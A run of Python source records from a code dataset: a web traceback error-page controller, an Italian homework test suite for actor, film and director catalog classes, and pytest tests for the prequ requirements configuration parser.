.import Controller\nimport sys, traceback\n\nclass TracebackController(Controller):\n\tdef __init__(self, environ):\n\t\tsuper(TracebackController, self).__init__(environ, None)\n\n\tdef _process(self):\n\t\ttrace = traceback.format_exception(*sys.exc_info())\n\n\t\tself._response.text =\\\n\t\t'''\n\t\t\n\t\t\t500 - Autoblog fatal error\n\t\t\t\n\t\t\t\t

    500 - Autoblog Internal Error

    \n\t\t\t\t
    \n\t\t\t\t\t{traceback}\n\t\t\t\t
    \n\t\t\t\n\t\t\n\n\t\t'''.format(traceback='
    '.join(trace).replace('\\n', '
    '))\n\n\t\tself._response.code = 500\n","sub_path":"controllers/tracebackController.py","file_name":"tracebackController.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"201522790","text":"import copy\nimport unittest\nimport testlib\nimport json\nimport random\nfrom ddt import file_data, ddt, data, unpack\n\nfrom program03 import Attore, Film, Regista, leggi_archivio_attori, leggi_archivio_film\n\npippo = 42\n\n@ddt\nclass Test(testlib.TestCase):\n\n @classmethod\n def setUpClass(cls):\n '''Carico i file per avere pezzi di json a disposizione'''\n with open('actors.json', encoding='utf8') as f:\n cls.attori_json = json.load(f)\n with open('films.json', encoding='utf8') as f:\n cls.films_json = json.load(f)\n\n################################################################################\n\n def do_check_attore(self, a, nome, msg=''):\n '''Verifica che l'attore sia proprio quello del catalogo_attori'''\n self.assertEqual(type(a), Attore, f\"Gli attori {msg} devono essere istanze di Attore\")\n a1 = self.attori[nome]\n self.assertEqual(a.nome(), nome, f\"L'attore {msg} non è {nome}\")\n self.assertTrue(a1 is a,\n f\"Gli attori {msg} devono essere le stesse istanze che stanno nel catalogo_attori'\")\n\n def do_check_film(self, f, titolo, msg=''):\n '''Verifica che il film sia proprio quello del catalogo_film'''\n self.assertEqual(type(f), Film, f\"I film {msg} devono essere istanze di Film\")\n f1 = self.films[titolo]\n self.assertEqual(f.titolo(), titolo, f\"Il film {msg} non è {titolo}\")\n self.assertTrue(f1 is f,\n f\"I film {msg} devono essere le stesse istanze che stanno nel catalogo_films'\")\n\n def do_check_regista(self, r, nome, msg=''):\n '''Verifica che il regista sia proprio quello del catalogo_registi'''\n self.assertEqual(type(r), Regista, f\"I registi {msg} devono essere istanze di Regista\")\n r1 = self.registi[nome]\n self.assertEqual(r.nome(), nome, f\"Il regista {msg} non è {nome}\")\n self.assertTrue(r1 is r,\n f\"I registi {msg} devono essere le stesse istanze che stanno nel catalogo_registi'\")\n\n def do_test_gruppo_attori(self, attori, tipo, nomi, msg=''):\n '''Verifica che gli attori tornati siano solo quelli indicati'''\n self.assertEqual(type(attori), tipo, f\"{msg} deve tornare un {tipo}\")\n self.assertEqual(len(attori), len(nomi), f\"Gli attori tornati devono essere {len(nomi)}\")\n for a in attori:\n self.assertTrue(a.nome() in nomi, f\"L'attore {a.nome()} non va tornato da {msg}\")\n self.do_check_attore(a, a.nome(), f'tornato da {msg}')\n for nome in nomi:\n a = self.attori[nome]\n self.assertTrue(a in attori, f\"L'attore {nome} manca nell'elenco tornato da {msg})\")\n\n def do_test_gruppo_film(self, films, tipo, titoli, msg=''):\n '''Verifica che i film tornati siano solo quelli indicati'''\n self.assertEqual(type(films), tipo, f\"{msg} deve tornare un {tipo}\")\n self.assertEqual(len(films), len(titoli), f\"I film tornati devono essere {len(titoli)}\")\n for f in films:\n self.assertTrue(f.titolo() in titoli, f\"Il film {f.titolo()} non va tornato da {msg}\")\n self.do_check_film(f, f.titolo(), f'tornato da {msg}')\n for t in titoli:\n f = self.films[t]\n self.assertTrue(f in films, f\"Il film {t} manca nell'elenco tornato da {msg})\")\n\n def do_test_gruppo_registi(self, registi, tipo, nomi, msg=''):\n '''Verifica che gli attori tornati siano solo quelli indicati'''\n self.assertEqual(type(registi), tipo, f\"{msg} deve tornare un {tipo}\")\n self.assertEqual(len(registi), len(nomi), f\"I registi tornati devono essere {len(nomi)}\")\n for r in registi:\n self.assertTrue(r.nome() in nomi, f\"Il regista {r.nome()} non va tornato da {msg}\")\n self.do_check_regista(r, r.nome(), f'tornato da {msg}')\n for nome in nomi:\n r = self.registi[nome]\n self.assertTrue(r in registi, f\"Il regista {nome} manca nell'elenco tornato da {msg})\")\n\n################################################################################\n\n @data(\n ['actors.json', 22233],\n )\n @unpack\n def test_00_load_attori(self, filename, N):\n '''controlla che vengano caricati gli attori'''\n with self.ignored_function('builtins.print'), self.ignored_function('pprint.pprint'):\n attori = leggi_archivio_attori(filename)\n self.assertEqual(type(attori), dict, \"Il risultato non è un dizionario\")\n self.assertEqual(len(attori), N, f\"Il dizionario creato da {filename} deve contenere {N} attori\")\n for a in attori.values():\n self.assertEqual(type(a), Attore)\n Test.attori = attori\n\n @data(\n ['films.json', 2359, 1250],\n )\n @unpack\n def test_01_load_films(self, filename, NF, NR):\n '''controlla che vengano caricati i films e i registi'''\n with self.ignored_function('builtins.print'), self.ignored_function('pprint.pprint'):\n res = leggi_archivio_film(filename, Test.attori)\n self.assertEqual(type(res), tuple, \"il risultato non è una tupla\")\n self.assertEqual(len(res), 2, \"il risultato non ha due elementi\")\n films, registi = res\n self.assertEqual(type(films), dict, \"Il catalogo_film non è un dizionario\")\n self.assertEqual(len(films), NF, f\"Il dizionario creato da {filename} deve contenere {NF} films\")\n self.assertEqual(type(registi), dict, \"Il catalogo_registi non è un dizionario\")\n self.assertEqual(len(registi), NR, f\"Il catalogo_registi creato da {filename} deve contenere {NR} registi\")\n for f in films.values():\n self.assertEqual(type(f), Film, \"Tutti i valori di catalogo_film devono essere Film\")\n for r in registi.values():\n self.assertEqual(type(r), Regista, \"Tutti i valori di catalogo_registi devono essere Regista\")\n Test.films = films\n Test.registi = registi\n\n # TODO: controllo su almeno un paio di attori, film e registi\n\n################################################################################\n\n def do_test_Attore_dati_base(self, attore, nome, eta, genere, truename):\n '''Verifica che l'attore contenga i dati base'''\n self.assertEqual(type(attore), Attore, \"Non è una istanza di Attore\")\n self.assertEqual(attore.nome(), nome, f\"Il nome dell'attore non è {nome}\")\n self.assertEqual(attore.eta(), eta, f\"L'attore {nome} deve avere {eta} anni\")\n self.assertEqual(attore.genere(), genere, f\"L'attore {nome} è di genere {genere}\")\n self.assertEqual(attore.vero_nome(),truename, f\"L'attore {nome} si chiamava {truename}\")\n\n @data(\n # name age sex vero_nome\n ['Marilyn Monroe', 37, 'F', 'Norma Jeane Mortenson' ],\n ['David Bowie', 72, 'M', 'David Robert Haywood Jones' ],\n ['Marlon Brando', 81, 'M', 'Marlon Brando Jr.' ],\n ['Benedict Cumberbatch', 43, 'M', 'Benedict Timothy Carlton Cumberbatch' ],\n )\n @unpack\n def test_10_new_Attore(self, nome, eta, genere, truename):\n '''Controlla che l'attore venga creato correttamente da un blocco di dati json'''\n json_data = self.attori_json[nome]\n attore = Attore(json_data)\n self.do_test_Attore_dati_base(attore, nome, eta, genere, truename)\n self.assertEqual(attore.films(), set(),\n f\"I film dell'attore all'inizio devono essere un insieme vuoto\")\n\n################################################################################\n\n @data(\n # nome eta sex vero_nome\n # titoli\n ['Marilyn Monroe', 37, 'F', 'Norma Jeane Mortenson' ],\n ['Scarlett Johansson', 35, 'F', 'Scarlett Ingrid Johansson' ],\n ['Benedict Cumberbatch', 43, 'M', 'Benedict Timothy Carlton Cumberbatch'],\n )\n @unpack\n def test_11_Attore_from_catalogo_attori(self, nome, eta, genere, vnome):\n '''Controlla che l'attore sia stato creato correttamente dal caricamento del file'''\n self.assertTrue(nome in self.attori, f\"L'attore {nome} deve apparire nel catalogo_attori\")\n attore = self.attori[nome]\n self.do_test_Attore_dati_base(attore, nome, eta, genere, vnome)\n\n @data(\n # nome\n ['Marilyn Monroe',\n ['The Misfits', 'All About Eve', 'Monkey Business', 'The Seven Year Itch', 'Niagara',\n 'The Asphalt Jungle', 'Some Like It Hot', 'Gentlemen Prefer Blondes']],\n ['Scarlett Johansson',\n ['Vicky Cristina Barcelona', \"The Man Who Wasn't There\", 'Lost in Translation',\n 'The Avengers', 'The Prestige', 'Ghost World', 'We Bought a Zoo', 'Girl with a Pearl Earring',\n 'Iron Man 2', 'Match Point', 'A Love Song for Bobby Long']],\n ['Benedict Cumberbatch',\n ['The Whistleblower', 'War Horse', 'Atonement', 'Amazing Grace', 'Tinker Tailor Soldier Spy']],\n )\n @unpack\n # Attore.films()\n def test_12_Attore_films(self, nome, titoli ):\n attore = self.attori[nome]\n films = attore.films()\n self.do_test_gruppo_film(films, set, titoli, f\"Attore.films()\")\n\n @data(\n # nome NA\n ['Marilyn Monroe', 84],\n ['Scarlett Johansson', 148],\n ['Benedict Cumberbatch', 67],\n )\n @unpack\n # Attore.coprotagonisti()\n def test_13_Attore_numero_coprotagonisti(self, nome, NA):\n attore = self.attori[nome]\n attori = attore.coprotagonisti()\n self.assertEqual(len(attori), NA, f\"L'attore {nome} ha avuto {NA} coprotagonisti\")\n for a in attori:\n self.do_check_attore(a, a.nome(), f'con cui ha lavorato {nome}')\n\n @data(\n # nome registi\n ['Marilyn Monroe',\n ['Howard Hawks', 'Henry Hathaway', 'Billy Wilder', 'Joseph L. Mankiewicz', 'John Huston']\n ],\n ['Scarlett Johansson',\n ['Woody Allen', 'Terry Zwigoff', 'Shainee Gabel', 'Joel Coen', 'Christopher Nolan', 'Peter Webber',\n 'Joss Whedon', 'and 1 more credit', 'Sofia Coppola', 'Cameron Crowe', 'Jon Favreau']\n ],\n ['Benedict Cumberbatch',\n ['Tomas Alfredson', 'Larysa Kondracki', 'Michael Apted', 'Steven Spielberg', 'Joe Wright']],\n )\n @unpack\n # Attore.registi()\n def test_14_Attore_registi(self, nome, nomi):\n attore = self.attori[nome]\n registi = attore.registi()\n self.do_test_gruppo_registi(registi, set, nomi, f\"Attore.registi()\")\n\n @data(\n # nome PR\n ['Marilyn Monroe', 'Billy Wilder' ],\n ['Scarlett Johansson', 'Woody Allen' ],\n ['Benedict Cumberbatch', 'Joe Wright' ],\n )\n @unpack\n # Attore.regista_preferito()\n def test_15_Attore_regista_preferito(self, nome, PR):\n attore = self.attori[nome]\n r = attore.regista_preferito()\n self.do_check_regista(r, PR, f'preferito di {nome}')\n\n @data(\n # nome minD maxD titoli\n ['Marilyn Monroe', 90, 110,\n ['Gentlemen Prefer Blondes',\n 'Niagara',\n 'Monkey Business',\n 'The Seven Year Itch',\n ],\n ],\n ['Scarlett Johansson', 90, 120,\n ['Vicky Cristina Barcelona',\n 'Girl with a Pearl Earring',\n 'Lost in Translation',\n 'Ghost World',\n 'Match Point',\n 'The Man Who Wasn\\'t There',\n 'A Love Song for Bobby Long',\n ],\n ],\n ['Benedict Cumberbatch', 120, None,\n ['Atonement',\n 'Tinker Tailor Soldier Spy',\n 'War Horse',\n ],\n ],\n )\n @unpack\n # Attore.film_durata(minD, maxD)\n def test_16_Attore_film_durata(self, nome, minD, maxD, titoli):\n attore = self.attori[nome]\n films = attore.film_durata(minD, maxD)\n self.do_test_gruppo_film(films, list, titoli)\n self.assertEqual(films, [self.films[t] for t in titoli])\n\n @data(\n # nome coppiette\n ['Scarlett Johansson',\n [('Robert Downey Jr.', 'Scarlett Johansson', 2),\n ('Samuel L. Jackson', 'Scarlett Johansson', 2),\n ('Paul Bettany', 'Scarlett Johansson', 2),\n ('Clark Gregg', 'Scarlett Johansson', 2),\n ],\n ],\n ['Woody Allen',\n [('Woody Allen', 'Diane Keaton', 6),\n ('Woody Allen', 'Joan Neuman', 2),\n ('Woody Allen', 'Anjelica Huston', 2),\n ('Woody Allen', 'Helen Hanft', 2),\n ('Woody Allen', 'Janet Margolin', 2),\n ('Woody Allen', 'Julia Louis-Dreyfus', 2),\n ('Woody Allen', 'Stephanie Roth Haberle', 2),\n ('Woody Allen', 'Mia Farrow', 4)\n ]\n ],\n )\n @unpack\n # Attore.in_coppia()\n def test_17_Attore_in_coppia_empty(self, nome, coppiette):\n attore = self.attori[nome]\n\n incoppia = attore.in_coppia()\n # print(\"################\\n\", [ (m.nome(), f.nome(), n) for m,f,n in incoppia] )\n self.assertEqual(type(incoppia), set, \"Attore.in_coppia() deve tornare un set di tuple\")\n for t in incoppia:\n self.assertEqual(len(t), 3, \"Attore.in_coppia() deve tornare un set di terne\")\n male, female, Nf = t\n self.assertEqual(type(male), Attore, \"Attore.in_coppia() deve tornare un set di terne il cui primo elemento è un Attore\")\n self.assertEqual(type(female), Attore, \"Attore.in_coppia() deve tornare un set di terne il cui secondo elemento è un Attore\")\n self.assertEqual(type(Nf), int, \"Attore.in_coppia() deve tornare un set di terne il cui terzo elemento è un int\")\n self.assertEqual(male.genere(), 'M')\n self.assertEqual(female.genere(), 'F')\n terna = male.nome(), female.nome(), Nf\n self.assertTrue(terna in coppiette, f\"La terna {terna} non va tornata\")\n self.do_check_attore(male, male.nome(), f'tornato da in_coppia()')\n self.do_check_attore(female, female.nome(), f'tornato da in_coppia()')\n for M,F,N in coppiette:\n MM = self.attori[M]\n FF = self.attori[F]\n terna = MM, FF, N\n self.assertTrue( terna in incoppia, f\"La terna {terna} manca nell'elenco tornato da in_coppia()\")\n\n @data(\n # nome partner titoli\n ['Marilyn Monroe', 'Cary Grant', ['Monkey Business']],\n ['Scarlett Johansson', 'Robert Downey Jr.', ['Iron Man 2', 'The Avengers',]],\n ['Benedict Cumberbatch', 'Keira Knightley', ['Atonement', ]],\n )\n @unpack\n # Attore.in_coppia(partner)\n def test_18_Attore_in_coppia_partner(self, nome, partner, titoli):\n attore = self.attori[nome]\n films = attore.in_coppia(partner)\n self.do_test_gruppo_film(films, set, titoli, f'Attore.in_coppia({partner})')\n\n # TODO: what else?\n\n @data(\n ['Marcello Mastroianni', 'France'],\n ['Woody Allen', 'USA' ],\n )\n @unpack\n def test_19_Attore_luogo_preferito(self, nome, LP):\n # Attore.attore_preferito()\n attore = self.attori[nome]\n luogo = attore.luogo_preferito()\n self.assertEqual(luogo, LP, f\"Il luogo preferito di {nome} è {LP}\")\n\n################################################################################\n\n def do_check_Film_dati_base(self, film, titolo, durata, anno, posti):\n '''Verifica che i dati di base del film ci siano'''\n posti = set(posti)\n self.assertEqual(type(film), Film, f\"{film} non è una istanza di Film\")\n self.assertEqual(film.titolo(), titolo, f\"Il titolo del Film non è {titolo}\")\n self.assertEqual(film.durata(), durata, f\"Il film {titolo} dovrebbe durare {durata} minuti\")\n self.assertEqual(film.anno(), int(anno), f\"Il film {titolo} è stato girato nel {anno}\")\n self.assertEqual(film.luoghi(), posti, f\"Il film {titolo} è stato girato in {posti}\")\n\n################################################################################\n\n @data(\n # titolo durata\n ['Blazing Saddles;1974', 93, ['USA'] ],\n ['Artificial Intelligence: AI;2001', 146, ['USA'] ],\n ['V for Vendetta;2005', 132, ['USA', 'UK', 'Germany'] ],\n # altri con durate strane\n )\n @unpack\n def test_20_new_Film(self, key, durata, posti):\n '''Controlla che il film venga creato correttamente da un blocco di dati json'''\n json_data = self.films_json[key]\n titolo, anno = key.split(';')\n film = Film(json_data)\n self.do_check_Film_dati_base(film, titolo, durata, anno, posti)\n self.assertEqual(film.attori(), set(), f\"Gli attori del film all'inizio devono essere un insieme vuoto\")\n self.assertEqual(film.registi(),set(), f\"I registi del film all'inizio devono essere un insieme vuoto\")\n\n # TODO: what else?\n\n################################################################################\n\n @data(\n # titolo min luoghi\n ['Blazing Saddles;1974', 93, ['USA'] ],\n ['Artificial Intelligence: AI;2001', 146, ['USA'] ],\n ['V for Vendetta;2005', 132, ['USA', 'UK', 'Germany'] ],\n ['Underground;1995', 167, ['Federal Republic of Yugoslavia', 'France', 'Germany',\n 'Bulgaria', 'Czech Republic', 'Hungary']],\n )\n @unpack\n def test_21_Film_from_catalogo_film(self, key, durata, posti):\n '''Controlla che il film sia nel dizionario catalogo_film'''\n titolo, anno = key.split(';')\n self.assertTrue(titolo in self.films, f\"Nel catalogo dei film ci dev'essere {titolo}\")\n film = self.films[titolo]\n self.do_check_Film_dati_base(film, titolo, durata, anno, posti)\n\n @data(\n # titolo\n ['Blazing Saddles;1974',\n ['Carol Arthur', 'Cleavon Little', 'Mel Brooks', 'George Furth', 'Richard Collier', 'David Huddleston',\n 'Slim Pickens', 'Madeline Kahn', 'Liam Dunn', 'Jack Starrett', 'Gene Wilder', 'Burton Gilliam',\n 'Harvey Korman', 'Alex Karras', 'John Hillerman']],\n ['Artificial Intelligence: AI;2001',\n ['Theo Greenly', 'Ken Leung', 'Jude Law', 'William Hurt', 'Clark Gregg', 'Haley Joel Osment',\n 'April Grace', 'Tom Gallop', 'Kevin Sussman', 'Eugene Osment', \"Frances O'Connor\",\n 'Sabrina Grdevich', 'Jake Thomas', 'Sam Robards', 'Matt Winston']],\n )\n @unpack\n def test_22_Film_attori(self, key, nomiA):\n titolo, anno = key.split(';')\n film = self.films[titolo]\n attori = film.attori()\n self.do_test_gruppo_attori( attori, set, nomiA, f\"Film.attori()\")\n\n @data(\n # titolo registi\n ['Blazing Saddles;1974', ['Mel Brooks']],\n ['Artificial Intelligence: AI;2001', ['Steven Spielberg']],\n )\n @unpack\n def test_23_Film_registi(self, key, nomiR):\n titolo, anno = key.split(';')\n film = self.films[titolo]\n registi = film.registi()\n # print('REGISTI', [r.nome() for r in registi])\n self.do_test_gruppo_registi(registi, set, nomiR, f\"Film.registi()\")\n\n # TODO: what else?\n\n################################################################################\n\n @data(\n ['Michelangelo Antonioni', ],\n ['Woody Allen', ],\n )\n @unpack\n def test_30_new_Regista(self, nome):\n '''Controlla che il film venga creato correttamente da un blocco di dati json'''\n regista = Regista(nome)\n self.assertEqual(type(regista), Regista, \"Non è stata creata una istanza di Regista\")\n self.assertEqual(regista.nome(), nome, f\"Il nome del Regista non è {nome}\")\n self.assertEqual(regista.films(), set(), f\"I film del regista all'inizio devono essere un insieme vuoto\")\n\n # TODO: what else?\n\n################################################################################\n\n @data(\n ['Michelangelo Antonioni', 7, 16],\n ['Woody Allen', 25, 43],\n )\n @unpack\n def test_31_Regista_from_catalogo_registi(self, nome, NF, anni):\n '''Controlla che il film sia stato creato correttamente dal caricamento del file'''\n self.assertTrue(nome in self.registi, f\"Il regista {nome} deve apparire nel catalogo_registi\")\n regista = self.registi[nome]\n self.assertEqual(type(regista), Regista, \"Nel catalogo_registi ci deve essere una istanza di Regista\")\n\n # Regista.nome()\n self.assertEqual(regista.nome(), nome, f\"Il nome del Regista è {nome}\")\n\n # Regista.anni_di_lavoro()\n self.assertEqual(regista.anni_di_lavoro(), anni, f\"Il regista {nome} ha lavorato {anni} anni\")\n\n @data(\n ['Michelangelo Antonioni',\n [\"L'eclisse\", 'La notte', 'Professione: reporter', 'Blowup', 'Il deserto rosso', 'Zabriskie Point',\n \"L'avventura\"]\n ],\n ['Woody Allen',\n ['Radio Days', 'Take the Money and Run', 'Bullets Over Broadway', 'Husbands and Wives', 'Stardust Memories',\n 'Match Point', 'Zelig', 'Manhattan', 'Manhattan Murder Mystery', 'The Purple Rose of Cairo', 'Whatever Works',\n 'Annie Hall', 'Love and Death', 'Sweet and Lowdown', 'Interiors', 'Another Woman', 'Crimes and Misdemeanors',\n 'Midnight in Paris', 'Deconstructing Harry', 'Broadway Danny Rose', 'Mighty Aphrodite',\n 'Vicky Cristina Barcelona', 'Bananas', 'Sleeper', 'Hannah and Her Sisters']\n ],\n )\n @unpack\n def test_31_Regista_films(self, nome, titoli):\n # Regista.films()\n regista = self.registi[nome]\n films = regista.films()\n # print(\"FILMS\", [f.titolo() for f in films])\n self.do_test_gruppo_film(films, set, titoli, f\"films del regista {nome}\")\n\n @data(\n # regista attore preferito\n ['Michelangelo Antonioni', 'Monica Vitti'],\n ['Woody Allen', 'Woody Allen'],\n )\n @unpack\n def test_31_Regista_attore_preferito(self, nome, AP):\n # Regista.attore_preferito()\n regista = self.registi[nome]\n a = regista.attore_preferito()\n self.do_check_attore(a, AP, f'attore preferito di {nome}')\n\n # TODO: what else?\n\n################################################################################\n\nif __name__ == '__main__':\n Test.main()\n\n","sub_path":"Homework Python 2018-19/homework03/test_03.py","file_name":"test_03.py","file_ext":"py","file_size_in_byte":23266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"454468205","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nimport io\n\nimport pytest\n\nfrom prequ.configuration import (\n InvalidPrequConfiguration, NoPrequConfigurationFound, PrequConfiguration,\n UnknownWheelSource, get_data_errors, text)\n\nfrom .utils import create_configuration, in_temporary_directory\n\nfield_types = [\n ('text_item', text),\n ('int_item', int),\n ('list_item_int_value', [int]),\n ('dict_item', {text: text}),\n ('dict_item_int_value', {text: int}),\n ('dict_item_int_key', {int: text}),\n ('sub.int_item', int),\n ('sub.text_item', text),\n ('a.b.c', int),\n]\n\nok_data = {\n 'text_item': 'hello',\n 'int_item': 42,\n 'list_item_int_value': [1, 2, 3],\n 'dict_item': {'foo': 'bar', 'something': 'else'},\n 'dict_item_int_value': {'a': 1, 'b': 2},\n 'dict_item_int_key': {4: 'four', 2: 'two'},\n 'sub': {'text_item': 'hello'},\n 'a': {'b': {'c': 100}},\n}\n\n\ndef test_get_data_errors_edge_cases():\n assert get_data_errors({}, []) == []\n assert get_data_errors({}, field_types) == []\n\n\ndef test_get_data_errors_unknown_keys():\n assert get_data_errors({'a': 'b'}, []) == ['Unknown key name: \"a\"']\n assert get_data_errors({'x': 1}, field_types) == ['Unknown key name: \"x\"']\n\n\ndef test_get_data_errors_simple():\n assert get_data_errors({'a': 'foobar'}, [('a', int)]) == [\n 'Field \"a\" should be int']\n assert get_data_errors({'a': 'foobar'}, [('a', {text: text})]) == [\n 'Field \"a\" should be dict']\n assert get_data_errors({'a': {'foobar': 2}}, [('a', {text: text})]) == [\n 'Values of \"a\" should be ' + text.__name__]\n assert get_data_errors({'a': {2: 'foobar'}}, [('a', {text: text})]) == [\n 'Keys of \"a\" should be ' + text.__name__]\n\n\ndef test_get_data_errors_sub_dict():\n assert get_data_errors({'a': 1}, field_types) == [\n 'Field \"a\" should be dict']\n assert get_data_errors({'a': {'b': 1}}, field_types) == [\n 'Field \"a.b\" should be dict']\n\n\ndef test_get_data_errors_with_unknown_subkey():\n assert get_data_errors({'sub': {'unknown': 42}}, field_types) == [\n 'Unknown key name: \"sub.unknown\"']\n\n\ndef test_get_data_errors_with_known_subkey():\n assert get_data_errors({'sub': {'int_item': 42}}, field_types) == []\n assert get_data_errors({'sub': {'text_item': ''}}, field_types) == []\n\n\ndef test_get_data_errors_with_ok_data():\n assert get_data_errors(ok_data, field_types) == []\n\n\ndef test_get_data_errors_with_int_error():\n not_ok = dict(ok_data, int_item='hello')\n assert get_data_errors(not_ok, field_types) == [\n 'Field \"int_item\" should be int']\n\n\ndef test_get_data_errors_with_list_error():\n not_ok = dict(ok_data, list_item_int_value=42)\n assert get_data_errors(not_ok, field_types) == [\n 'Field \"list_item_int_value\" should be list']\n\n\ndef test_get_data_errors_with_list_item_error():\n not_ok = dict(ok_data, list_item_int_value=['not int'])\n assert get_data_errors(not_ok, field_types) == [\n 'Values of \"list_item_int_value\" should be int']\n\n\ndef test_get_data_errors_with_dict_error():\n not_ok = dict(ok_data, dict_item='hello')\n assert get_data_errors(not_ok, field_types) == [\n 'Field \"dict_item\" should be dict']\n\n\ndef test_get_data_errors_with_sub_text_error():\n not_ok = dict(ok_data, sub={'text_item': 42})\n assert get_data_errors(not_ok, field_types) == [\n 'Field \"sub.text_item\" should be ' + text.__name__]\n\n\ndef test_get_data_errors_invalid_type_specifier():\n with pytest.raises(ValueError):\n get_data_errors({'x': 1}, [('x', set('abc'))])\n\n\ndef test_from_dict_with_errors():\n conf_data = {'unknown_key': 'value'}\n with pytest.raises(InvalidPrequConfiguration) as excinfo:\n PrequConfiguration.from_dict(conf_data)\n assert '{}'.format(excinfo.value) == (\n 'Errors in Prequ configuration: Unknown key name: \"unknown_key\"')\n\n\ndef test_unknown_wheel_source():\n conf_data = {\n 'requirements': {'base': 'foobar==1.2 (wheel from baz)'}\n }\n conf = PrequConfiguration.from_dict(conf_data)\n with pytest.raises(UnknownWheelSource) as excinfo:\n list(conf.get_wheels_to_build())\n assert '{}'.format(excinfo.value) == (\n 'No URL template defined for \"baz\"')\n\n\n@pytest.mark.parametrize('enabled', [\n '', 'annotate', 'generate_hashes', 'header',\n 'index_url', 'extra_index_urls',\n 'trusted_hosts', 'find_links'])\ndef test_get_prequ_compile_options(enabled):\n conf_data = {'requirements': {'base': ''}, 'options': {}}\n expected_opts = {\n 'annotate': False,\n 'generate_hashes': False,\n 'header': True,\n }\n if enabled == 'index_url':\n conf_data['options'][enabled] = 'http://example.com'\n expected_opts[enabled] = 'http://example.com'\n elif enabled == 'extra_index_urls':\n conf_data['options'][enabled] = ['http://example.com']\n expected_opts['extra_index_url'] = ['http://example.com']\n elif enabled == 'trusted_hosts':\n conf_data['options'][enabled] = ['machine']\n expected_opts['trusted_host'] = ['machine']\n elif enabled == 'find_links':\n conf_data['options']['wheel_dir'] = 'some_dir'\n expected_opts[enabled] = ['some_dir']\n elif enabled:\n conf_data['options'][enabled] = True\n expected_opts[enabled] = True\n conf = PrequConfiguration.from_dict(conf_data)\n opts = conf.get_prequ_compile_options()\n assert opts == expected_opts\n\n\ndef test_label_sorting():\n data = {'requirements': {'a': '', 'base': '', 'b': '', 'c': ''}}\n conf = PrequConfiguration.from_dict(data)\n assert conf.labels == ['base', 'a', 'b', 'c']\n\n\ndef test_requirements_in_generation():\n data = {\n 'requirements': {\n 'base': 'framework',\n 'dev': 'ipython',\n 'test': 'pytest',\n }\n }\n conf = PrequConfiguration.from_dict(data)\n assert conf.get_requirements_in_for('base') == 'framework'\n assert conf.get_requirements_in_for('dev') == (\n '-c requirements.txt\\n'\n 'ipython')\n assert conf.get_requirements_in_for('test') == (\n '-c requirements.txt\\n'\n 'pytest')\n\n\ndef test_from_dir():\n with in_temporary_directory():\n create_configuration(\n requirements={\n 'base': ['foobar'],\n 'requirements-local.in': ['ipython'],\n })\n conf = PrequConfiguration.from_directory('.')\n assert conf.requirement_sets['base'] == '\\nfoobar'\n assert conf.requirement_sets['local'] == 'ipython'\n\n\ndef test_from_dir_without_conf():\n with in_temporary_directory():\n with pytest.raises(NoPrequConfigurationFound):\n PrequConfiguration.from_directory('.')\n\n\ndef test_from_in_files():\n conf = {\n 'no_setup_cfg': True,\n 'requirements': {'requirements.in': ['foobar']},\n }\n with in_temporary_directory():\n create_configuration(**conf)\n conf = PrequConfiguration.from_in_files('requirements.in')\n assert conf.requirement_sets['base'] == 'foobar'\n\n\ndef test_from_in_files_invalid_filename():\n conf = {\n 'no_setup_cfg': True,\n 'requirements': {'requirements_foo.in': ['foobar']},\n }\n with in_temporary_directory():\n create_configuration(**conf)\n with pytest.raises(InvalidPrequConfiguration) as excinfo:\n PrequConfiguration.from_in_files('requirements_foo.in')\n assert '{}'.format(excinfo.value) == (\n 'Invalid in-file name: requirements_foo.in')\n\n\nconf_ini_content = \"\"\"\n[prequ]\nannotate = True\nextra_index_urls =\n https://one.example.com/\n https://two.example.com/\nwheel_dir = wh€€ls\nwheel_sources =\n test_gh = git+ssh://git@github.com/test/{pkg}@{ver}\n\nrequirements =\n foobar\n somewheel==1.0.0 (wheel from test_gh)\n barfoo\n\nrequirements-dev =\n devpkg>=2\n\"\"\"\n\n\ndef test_configuration_parsing_ini():\n stream = io.StringIO(conf_ini_content)\n conf = PrequConfiguration.from_ini(stream)\n assert conf.annotate is True\n assert conf.extra_index_urls == [\n 'https://one.example.com/', 'https://two.example.com/']\n assert conf.wheel_dir == 'wh€€ls'\n assert conf.wheel_sources == {\n 'test_gh': 'git+ssh://git@github.com/test/{pkg}@{ver}'}\n assert sorted(conf.requirement_sets.keys()) == ['base', 'dev']\n assert conf.requirement_sets['base'] == (\n '\\n'\n 'foobar\\n'\n 'somewheel==1.0.0\\n'\n 'barfoo')\n assert conf.requirement_sets['dev'] == '\\ndevpkg>=2'\n assert conf.wheels_to_build == [('test_gh', 'somewheel', '1.0.0')]\n assert list(conf.get_wheels_to_build()) == [\n ('somewheel', '1.0.0',\n 'git+ssh://git@github.com/test/somewheel@1.0.0')]\n pass\n\n\ndef test_configuration_parsing_ini_no_section():\n other_ini_content = (\n '[other_section]\\n'\n 'something = else\\n')\n stream = io.StringIO(other_ini_content)\n conf = PrequConfiguration.from_ini(stream)\n assert conf is None\n\n\ndef test_configuration_parsing_ini_simple():\n other_ini_content = (\n '[prequ]\\n'\n 'requirements = flask\\n')\n stream = io.StringIO(other_ini_content)\n conf = PrequConfiguration.from_ini(stream)\n assert isinstance(conf, PrequConfiguration)\n assert conf.requirement_sets['base'] == 'flask'\n\n\ndef test_configuration_parsing_ini_without_base():\n other_ini_content = (\n '[prequ]\\n'\n 'requirements-test = pytest\\n')\n stream = io.StringIO(other_ini_content)\n conf = PrequConfiguration.from_ini(stream)\n assert conf.requirement_sets['test'] == 'pytest'\n assert 'base' not in conf.requirement_sets\n","sub_path":"tests/test_configuration.py","file_name":"test_configuration.py","file_ext":"py","file_size_in_byte":9624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"287436582","text":"# Copyright (c) 2017, Vienna University of Technology (TU Wien),\n# Department of Geodesy and Geoinformation (GEO).\n# All rights reserved.\n#\n# All information contained herein is, and remains the property of Vienna\n# University of Technology (TU Wien), Department of Geodesy and Geoinformation\n# (GEO). The intellectual and technical concepts contained herein are\n# proprietary to Vienna University of Technology (TU Wien), Department of\n# Geodesy and Geoinformation (GEO). Dissemination of this information or\n# reproduction of this material is forbidden unless prior written permission\n# is obtained from Vienna University of Technology (TU Wien), Department of\n# Geodesy and Geoinformation (GEO).\n\n'''\nTests for reading CGLOPS SWI 